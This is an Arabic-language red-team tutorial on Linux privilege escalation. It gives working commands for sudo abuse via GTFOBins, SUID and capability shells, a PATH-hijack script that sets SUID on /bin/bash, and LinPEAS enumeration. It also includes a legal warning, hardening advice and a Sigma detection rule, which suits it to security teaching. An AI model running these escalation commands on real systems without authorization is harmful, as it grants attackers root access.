الفرق الحمراء — الهجوممتقدم85mL73

تصعيد الصلاحيات على Linux

SUID، sudo abuses، capabilities، PATH hijack، LinPEAS

#Linux#PrivEsc#SUID#Sudo#LinPEAS

لماذا يمنحك صدفة عادية صلاحيات root أحياناً؟

تشبيه — شرح مبسط
تخيل بناية مكاتب. أنت موظف زائر، عندك بطاقة تفتح الردهة فقط. تصعيد الصلاحيات هو إيجاد باب جانبي تركه أحدهم مفتوحاً، أو أن نظام التحكم في الأبواب يثق ببطاقتك أكثر مما يجب. الفرق بينك وبين root في معظم الحالات ليس ثغرة kernel، بل خطأ بسيط في الإعدادات.

تصعيد الصلاحيات في Linux نادراً ما يكون 0-day. غالباً هو SUID مفقود، sudo rule مفتوح، أو script يعمل كـ cron بصلاحيات عالية ويثق في PATH. هذا الدرس يغطي ما يبحث عنه المهاجم بعد كل أول shell.

فحص أولي — ماذا أعرف عن النظام؟

bash
# هوية المستخدم والصلاحيات
id
sudo -l        # أهم سؤال: ما الذي يمكنني تشغيله بصلاحيات أعلى؟
groups
cat /etc/passwd | cut -d: -f1

# نواة النظام والتوزيعة
uname -a
cat /etc/os-release

# مهام مجدولة (cron)
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
cat /etc/crontab

# عمليات تعمل كـ root
ps -eo user,pid,cmd | grep -E "^root" | head -20

أفضل خمس قنوات تصعيد

01
sudo abuses عبر GTFOBins
لو ظهر sudo -l أنك تستطيع تشغيل برنامج مثل vim أو find بدون كلمة مرور كـ root، اذهب إلى gtfobins.github.ioوستجد سطراً واحداً يفتح shell. هذا أكثر سيناريو شائع في pentests.
bash
# إذا كان يُسمح: (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# أو vim
sudo vim -c ':!/bin/sh'
02
SUID binaries خطرة
ابحث عن ملفات تنفيذية مع bit الـ SUID — تعمل بصلاحيات مالكها بغض النظر عمن يشغلها.
bash
find / -perm -4000 -type f 2>/dev/null
# قارن النتائج مع GTFOBins SUID list
03
Capabilities
cap_setuid على ثنائي مثل python3 = root.
bash
getcap -r / 2>/dev/null
# مثال: /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
04
PATH hijacking على cron / SUID scripts
لو script يستدعي backup بدون مسار كامل، وكان /tmp في PATH، ضع backup خبيث في /tmp.
bash
echo '#!/bin/sh
chmod +s /bin/bash' > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# انتظر تشغيل cron أو script
05
Kernel exploits — آخر ملاذ
لو كل ما سبق فشل، تحقق من إصدار النواة و ابحث عن exploits معروفة (DirtyPipe CVE-2022-0847، CVE-2023-32233، nf_tables). لكن اعلم: هذه عالية الضوضاء، تتسبب في kernel panic، وقد تُكتشف بسرعة.

أتمتة — LinPEAS

LinPEAS هو script يفحص كل ما سبق تلقائياً ويلون النتائج (أحمر = استغلال محتمل). استخدمه دائماً ولكن لا تثق به وحده.

$ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/lp.sh
$ chmod +x /tmp/lp.sh && /tmp/lp.sh -a | tee /tmp/lp.log
[+] [CVE-2022-0847] DirtyPipe — Kernel 5.15.0-25 vulnerable [!] Writable /etc/passwd [!] SUID: /usr/bin/find (gtfobins)
تحذير قانوني
هذه التقنيات ضد أنظمة لا تملكها = جريمة فيدرالية. كل مثال هنا يفترض مختبراً معزولاً أو نظاماً عندك إذن خطّي صريح باختباره.
الدفاع — تقليل سطح التصعيد
  • راجع sudo -l لكل مستخدم. لا NOPASSWD لأي أداة في GTFOBins.
  • ابحث عن SUID شهرياً (auditd rule على path-changes)
  • استخدم capabilities بحذر، راقبها مع getcap -r /
  • كل cron job يستخدم مسارات كاملة، لا اعتماد على PATH
  • حدّث النواة وابحث في kpatch للتحديث الحي
  • راقب execve من processes غير متوقعة (Falco / auditd / Sysdig)

الكشف — قواعد Sigma

yaml
title: Suspicious sudo execution of GTFOBins binary
logsource: { product: linux, service: auth }
detection:
  selection:
    process: 'sudo'
    cmdline|contains:
      - 'find'
      - 'vim'
      - 'less'
      - 'awk'
  filter:
    user: 'admin'
  condition: selection and not filter
level: high
tags: [attack.privilege_escalation, attack.t1548]

مصادر

  • GTFOBins — gtfobins.github.io
  • HackTricks — Linux Privilege Escalation
  • MITRE ATT&CK — Privilege Escalation (TA0004)
  • SANS SEC560 — Network Penetration Testing